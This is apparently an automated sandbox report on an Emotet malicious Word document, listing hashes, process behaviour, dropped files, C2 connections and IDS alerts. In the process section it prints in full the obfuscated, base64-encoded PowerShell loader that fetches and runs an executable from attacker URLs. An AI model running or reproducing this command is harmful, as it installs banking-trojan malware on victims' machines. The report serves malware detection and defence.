analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

FILE_PPQ8636.doc

Full analysis: https://app.any.run/tasks/ba545bcf-94d0-4388-b73b-0247bc1f05fb
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: September 30, 2020, 06:42:48
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Aut., Author: Antoine Adam, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 23 22:57:00 2020, Last Saved Time/Date: Wed Sep 23 22:57:00 2020, Number of Pages: 1, Number of Words: 2591, Number of Characters: 14773, Security: 0
MD5:

643CCBC293E02D5161B7DCF15FB7C435

SHA1:

C96323FB135F5672275A115F7E65C126F90C3521

SHA256:

98CAC1B2D3B5764F8AABB6955AE8D2F9D1078B7F4FE2BA221E4C54DA5460EF08

SSDEEP:

3072:MBHqu6dEaKR22TWTogk079THcpOu5UZiZLa3PdpdOZlm:MBKu9aKR/TX07hHcJQ0adTOZlm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Jl99ti.exe (PID: 3976)
      • udhisapi.exe (PID: 444)
    • Connects to CnC server

      • udhisapi.exe (PID: 444)
    • Changes the autorun value in the registry

      • udhisapi.exe (PID: 444)
    • EMOTET was detected

      • udhisapi.exe (PID: 444)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • POWeRsHeLL.exe (PID: 3420)
      • Jl99ti.exe (PID: 3976)
    • Creates files in the user directory

      • POWeRsHeLL.exe (PID: 3420)
    • PowerShell script executed

      • POWeRsHeLL.exe (PID: 3420)
    • Executed via WMI

      • POWeRsHeLL.exe (PID: 3420)
    • Starts itself from another location

      • Jl99ti.exe (PID: 3976)
    • Reads Internet Cache Settings

      • udhisapi.exe (PID: 444)
    • Connects to server without host name

      • udhisapi.exe (PID: 444)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2208)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Aut.
Subject: -
Author: Antoine Adam
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:09:23 21:57:00
ModifyDate: 2020:09:23 21:57:00
Pages: 1
Words: 2591
Characters: 14773
Security: None
Company: -
Lines: 123
Paragraphs: 34
CharCountWithSpaces: 17330
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe jl99ti.exe #EMOTET udhisapi.exe

Process information

PID
CMD
Path
Indicators
Parent process
2208"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FILE_PPQ8636.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3420POWeRsHeLL -ENCOD JABHAGcAbQB5ADMAeAByAD0AKAAoACcASgAnACsAJwB1AHEAawAnACkAKwAoACcANwBoACcAKwAnAG8AJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwAZQBcAGEAOAA2ADIASAAxAG4AXABZAE4AUABuAFcAawBWAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQB0AGAAWQBgAFAAUgBgAG8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACAAdAAnACkAKwAnAGwAcwAnACsAJwAxACcAKwAoACcAMQAsACcAKwAnACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABFADYANABfAGQAegA2ACAAPQAgACgAKAAnAEoAbAA5ACcAKwAnADkAJwApACsAJwB0ACcAKwAnAGkAJwApADsAJABDAGoANQBzAHYAMABpAD0AKAAoACcAWABrACcAKwAnAHAAMQA4ACcAKQArACcAbQAnACsAJwBnACcAKQA7ACQAVgB3AGoAcAAwAG4AdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBBADgANgAnACsAKAAnADIAaAAnACsAJwAxACcAKQArACcAbgB7ACcAKwAnADAAfQBZAG4AcABuACcAKwAnAHcAawB2AHsAMAB9ACcAKQAtAEYAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUANgA0AF8AZAB6ADYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoAcAB1AG4AeQBrAGMAPQAoACcAVABfACcAKwAoACcAbABfAGsAbQAnACsAJwB5ACcAKQApADsAJABUAGoAdgBmAGoAYgBiAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBCAGMAbABpAEUAbgBUADsAJABSADAAMQB3AGYAegBnAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAbQBhACcAKwAnAGcAJwApACsAKAAnAG4AdQAnACsAJwBzACcAKQArACcAZABjACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8ATQAnACsAKAAnAFIALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZABhACcAKwAoACcAdAB1AG0AbQAnACsAJwBhACcAKwAnAGMAaABpACcAKwAnAG4AJwApACsAJwBlACcAKwAoACcAcwAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGEAcwAnACkAKwAoACcAcwAnACsAJwBlAHQAcwAvAHUAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwBpAG0AJwArACcAbQAnACsAJwBpAGcAcgBhAHQAaQBvAG4AcQAnACsAJwB1AGUAJwArACcAcwB0ACcAKwAnAGkAbwAnACsAJwBuAC4AYwBvACcAKwAnAG0ALwAzAHgAXwBiAGUAJwArACcAYQBzAHQALwAnACkAKwAnAFQAJwArACgAJwB5ADkALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwAxADIAMgAnACkAKwAoACcALgAnACsAJwAxADEANwAuADQAJwApACsAJwA0ACcAKwAnAC4AJwArACgAJwA1ADkAJwArACcALwAnACkAKwAoACcAdwBvAHIAZABwAHIAJwArACcAZQAnACsAJwBzACcAKQArACcAcwAnACsAJwAvAGcAJwArACgAJwBTAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwAzAC4AMgAnACsAJwAxACcAKQArACcAMgAuACcAKwAoACcAMQA5ADQALgAzACcAKwAnAC8AYwAnACsAJwB3AHMAYwB3ACcAKQArACcAaQAvACcAKwAnADYAJwArACcAdQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8AJwArACgAJwAvADQAMQAnACsAJwAuACcAKQArACgAJwA4ADkAJwArACcALgAnACkAKwAnADkAJwArACgAJwA0ACcAKwAnAC4AMwAwAC8AdwAnACkAKwAoACcAZQBiAC8AJwArACcAOAAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAJwArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAJwArACcAcgBrACcAKQArACcAcwAnACsAKAAnAG0AJwArACcAYQAnACsAJwBpAHMAdwAuACcAKQArACgAJwBvAHIAZwAnACsAJwAvAG0AJwArACcAYQAnACkAKwAnAG4AdQAnACsAJwBmAGEAJwArACcAYwB0ACcAKwAnAHUAcgAnACsAJwBlAHIAJwArACcALwAnACsAJwBoACcAKwAnAC8AJwApAC4AIgBzAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAXwBqAHAAOQBmADgAPQAoACcARAAnACsAKAAnAF8AJwArACcAdQBhAHIAJwApACsAJwByAHIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVQBpAGoAOQA1AG8AXwAgAGkAbgAgACQAUgAwADEAdwBmAHoAZwApAHsAdAByAHkAewAkAFQAagB2AGYAagBiAGIALgAiAEQAYABPAHcATgBsAE8AYABBAEQAYABGAGkAbABFACIAKAAkAFUAaQBqADkANQBvAF8ALAAgACQAVgB3AGoAcAAwAG4AdgApADsAJABFAGYAdQBzAF8ANgB0AD0AKAAoACcARQBrADIAJwArACcAdgB5ACcAKQArACcAagBrACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABWAHcAagBwADAAbgB2ACkALgAiAGwARQBuAGAAZwB0AEgAIgAgAC0AZwBlACAAMwAxADAAMgAyACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFYAdwBqAHAAMABuAHYAKQA7ACQATwB6ADgAZAAzAGkAaQA9ACgAKAAnAEUAaQB5ADIAJwArACcAYwAnACkAKwAnAGMAagAnACkAOwBiAHIAZQBhAGsAOwAkAE4ANABlADMAZgA2AGcAPQAoACgAJwBMACcAKwAnAGkAeQBvACcAKQArACcAbAAnACsAJwAxADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAG8ANwA0AHUAeQBwAD0AKAAnAEkAJwArACcAXwAnACsAKAAnADQAeAA2ACcAKwAnAGIAZAAnACkAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3976"C:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exe" C:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exe
POWeRsHeLL.exe
User:
admin
Company:
TODO: <Company name>
Integrity Level:
MEDIUM
Description:
TODO: <File description>
Exit code:
0
Version:
1.0.0.1
444"C:\Users\admin\AppData\Local\imm32\udhisapi.exe"C:\Users\admin\AppData\Local\imm32\udhisapi.exe
Jl99ti.exe
User:
admin
Company:
TODO: <Company name>
Integrity Level:
MEDIUM
Description:
TODO: <File description>
Version:
1.0.0.1
Total events
2 328
Read events
1 502
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR76A8.tmp.cvr
MD5:
SHA256:
3420POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CZT4KSMFQK2Y2WCVVS6N.temp
MD5:
SHA256:
2208WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:E7CF7C7D76EB8601C18DE984E4219EA9
SHA256:8AE03A59DE4E64FF9104761BB71D595044097E560A73B67C07E4ED4986162AB8
3420POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$LE_PPQ8636.docpgc
MD5:3095D289A6665949D85B60D19CF2A7A0
SHA256:20B12F573FB6E09F556D15D2F03C97C1F98B87390DE14D84CF49D2D4845D0437
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:7DC3DEB91AA34DE0E18E5BC0A214B893
SHA256:D55306B32448DFED50E997F7D3731F33C8021D7E0D4BF725505C65038F4B3A8B
3976Jl99ti.exeC:\Users\admin\AppData\Local\imm32\udhisapi.exeexecutable
MD5:27F0B6425B150F8D98A71C843E78664E
SHA256:390CF72A9F6B430AE3BCCF2DA385F4A34907605F88EFE5DAD363C6ADE5F9893A
3420POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3b828e.TMPbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
3420POWeRsHeLL.exeC:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exeexecutable
MD5:27F0B6425B150F8D98A71C843E78664E
SHA256:390CF72A9F6B430AE3BCCF2DA385F4A34907605F88EFE5DAD363C6ADE5F9893A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
444
udhisapi.exe
POST
200
12.163.208.58:80
http://12.163.208.58/kxDp24QEKZo/UsyscBQxc/e21dYtVsDoSyPX/RU6GAmhSoaeY/
US
binary
132 b
malicious
3420
POWeRsHeLL.exe
GET
200
138.201.86.169:80
http://magnusdc.com/MR/
DE
executable
424 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3420
POWeRsHeLL.exe
138.201.86.169:80
magnusdc.com
Hetzner Online GmbH
DE
suspicious
12.163.208.58:80
AT&T Services, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
magnusdc.com
  • 138.201.86.169
suspicious

Threats

PID
Process
Class
Message
3420
POWeRsHeLL.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
3420
POWeRsHeLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3420
POWeRsHeLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3420
POWeRsHeLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
444
udhisapi.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 3
444
udhisapi.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M10
No debug info